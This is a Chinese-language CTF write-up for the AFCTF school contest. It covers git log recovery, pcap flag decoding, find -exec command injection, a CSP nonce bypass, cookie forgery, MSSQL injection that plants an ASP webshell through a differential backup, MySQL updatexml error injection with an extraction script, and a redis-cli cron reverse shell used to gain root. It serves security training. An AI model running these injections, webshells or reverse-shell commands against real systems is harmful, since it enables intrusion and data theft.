AFCTF校赛
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了AFCTF校赛相关的知识,希望对你有一定的参考价值。
fake
留了一个.git文件,我们看一下日志
是有两次提交的,有一次是真的flag
git log
git show 版本号
我们再使用git show命令来查看内容
stolen
打开数据包,追踪tcp流
首先看到上传了一个一句话木马
然后是一个python文件
这个python文件把flag的每一位都转化成ascii码再*16*16+1
然后发送流给192.168.159.138
再往下看,他执行了这个python文件
那么就看他的包的内容,全部提取出来在转换成flag
第一个果然是26113,一个个读取出来,再chr一下,转换成字符串
最后的脚本
a=[26113,27650,24835,26372,31493,29702,26631,26888,29449,24330,26891,29452,24333,29454,29711,28432,27665,25874,28179,24340,29461,25878,25367,29208,25881,29722,8475,8476,8477,32030,2591]
for i in a:
x=int((i-1)/16/16)
print(chr(x),end="")
search
search.php?search=猜测可能执行一个类似于find的命令
find / -name xxx
发现根目录有个flag
这里就考察了对find命令的深入了解
find命令还有一个-exec可以执行命令,注意格式
/search.php?search=flag -exec cat {} \\;
BABY_CSP
csp绕过,第一次遇到,学习了,参考好文
这里有点简单了,在响应头里面看到nonce的值
加到script标签里面就行了
<script nonce="29de6fde0db5686d">alert(flag)<script>
secret
这题每次进行登录或者注册都要验证一个md5前六位,见的很多,留了一个脚本跑
import hashlib
for i in range(1, 1000000000):
str1 = hashlib.md5(str(i).encode('utf8')).hexdigest()
if str1.startswith('xxxxxx'):
print(str1)
print(i)
break
随便注册了一个aaa
发现了一个特点,他的cookie里面有一个usr=xxx,
aaa的就写着_x_x_x,每次的登陆这个x都会变,但是这个_却不会变,所以应该是对应这a这个字母
那就简单了,注册一个adminadmin
果然,cookie里面这个就变成了_sfvk7g%24pw_0f%3DkNg3p%40
截取一半,换掉cookie就出来了
做完了就找了一下这个加密的规律
我的猜测是根据ascii码的奇偶:
- 如果是奇数,那么加密的结果就是
ascii值+2
对应的字符 - 如果是偶数,那么加密的结果就是
ascii值-2
对应的字符
_ f k g p
+ - + + -
a d m i n
backup
源码注释里面给出三个hint
hint1: sql server
hint2: some patterns like @"\\w*?\\s*\\(.*?\\)" and @"order\\s*by" are forbidden
hint3: web root: c:\\inetpub\\wwwroot\\backup_\\
chestnut’)or 1=1–闭合语句
猜测sql语句是这样的select * from aaa where bbb like('%传入数据%')
mssql数据库,可以报错查询到字段名,题目是backup,本来以为就是备份文件差异getshell的,但是他把函数全部过滤的完了。。。可能是绕过过滤或者另找出路,估计思路还是备份文件,因为给了绝对路径
后来给了hint,的确是这样做,那就再深究一波
用报错注入获取信息
查询版本
chestnut')or @@version>1--
用group by和having语句报错查询出字段和表名
chestnut') having 1=1--
article.id
article.createAt
article.caption
article.content
使用这个查询语句,绕过xxx()的过滤并构造报错注入,查询到了数据库名_backup
')and 1=(select top 1 name from master..sysdatabases where dbid>4)--
然后就是利用备份来进行getshell
绕这个waf绕了我好久啊,用mssql的不可见字符%1e来代替空格就可以绕过对于语句的过滤和()
的过滤
推荐好文
1.把数据库备份到网站目录
');backupdatabase _backup to disk = 'c:\\inetpub\\wwwroot\\backup_\\data.bak';--
2.插入表
');creAtetaBle [dbo].[dtest](a image)--
3.插入一句话木马进去<%execute(request("a"))%>
');insErtiNto dtest(a)values(0x3C25657865637574652872657175657374282261222929253E)--
4.进行差异备份
');bacKupdataBase _backup to disk='c:\\inetpub\\wwwroot\\backup_\\hm.asp' WITH DIFFERENTIAL,FORMAT;----
菜刀连接,c盘根目录拿到flag
google_authenticator
登陆框可以万能密码进入,但是需要输入一什么谷歌验证码
一开始想着爆破一波,6位数实在难爆破,sql注入也无果,那时候就暂时放弃了
后来想到登录框有sql注入,而且有报错信息给出,那么我们可以报错注入一波
password=123&username=1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))#
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))#
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e))#
查到了这个otp_secret的时候,我以为字段名就是这个,但是查数据的时候所没有这个字段
后来就加了一个substr
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e))#
果然后面还有一个_key
查询username和password,是admin和hgMMDHmE6qn#U9
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))#
password=123&username=1'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))#
然后查询这个密钥
这个密钥很长,要substr慢慢读
password=123&username=1'and(select updatexml(1,concat(0x7e,(select substr(group_concat(otp_secret_key),1,32)from users)),0x7e))#
写了个小脚本
import requests
url="http://2b5ed280-5cbd-4a7e-9078-f9b1cd11d9e7.node.csuaurora.org/index.php"
for i in range(1,180):
key = "1'and(select updatexml(1,concat(0x7e,(select substr(group_concat(otp_secret_key),{},1)from users)),0x7e))#".format(i)
data = {
'password':123,
'username':key
}
res = requests.post(url=url,data=data).text
index = res.index("~")
print(res[index+1:index+2],end="")
最后得到是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXQiOiJJRkJWSVJTN01KU1hJNURGT0pQV0MzVEVMNVJHSzVEVU1WWkNDSUpCIiwiaWF0IjoxNTE2MjM5MDIyfQ.AQSSxyPihDP8dhVEMpaWrSv2scrEEc2HOmqfAwXqWLY
base64解密后
这里有一个secret,拿去base32解密一下
(字好像打错了,貌似这个比赛叫AFCTF吧hhh)
这个应该是密钥
在Github下载官方的GoogleAuthenticator.php
然后加上验证码生成的php
<?php
require_once 'GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = "IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB";
$oneCode = $ga->getCode($secret); //服务端计算"一次性验证码"
echo "服务端计算的验证码是:".$oneCode."\\n\\n";
然后进行解出验证码
然后提交得到一个php,是一个后门
开蚁剑连接
在根目录发现这个
一运行就说权限不够,需要提权
信息收集一波
查看有root权限的
find / -user root -perm -4000 -print 2>/dev/null
可惜没看到什么能利用是SUID提权的东西
想试下脏牛提权,但是gcc用不了,也没有写的权限
查看一波进程,root账户开了redis
ps aux
这里提权的办法是:redis-cli结合定时任务来反弹root权限的shell提权,好文
执行如下命令
bash-4.2$ redis-cli <<-END
redis-cli <<-END
> set task "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/你的ip/端口 0>&1\\n\\n"
set task "\\n\\n*/1 * * * * /bin/bash -i>&/dev/tcp/你的ip/端口 0>&1\\n\\n"
> config set dir /var/spool/cron
config set dir /var/spool/cron
> config set dbfilename root
config set dbfilename root
> save
save
> END
END
然后监听8866端口,过一会儿就会执行到这个定时命令,发现反弹出来了一个shell
whoami一下的确是root权限
去/root找flag即可
以上是关于AFCTF校赛的主要内容,如果未能解决你的问题,请参考以下文章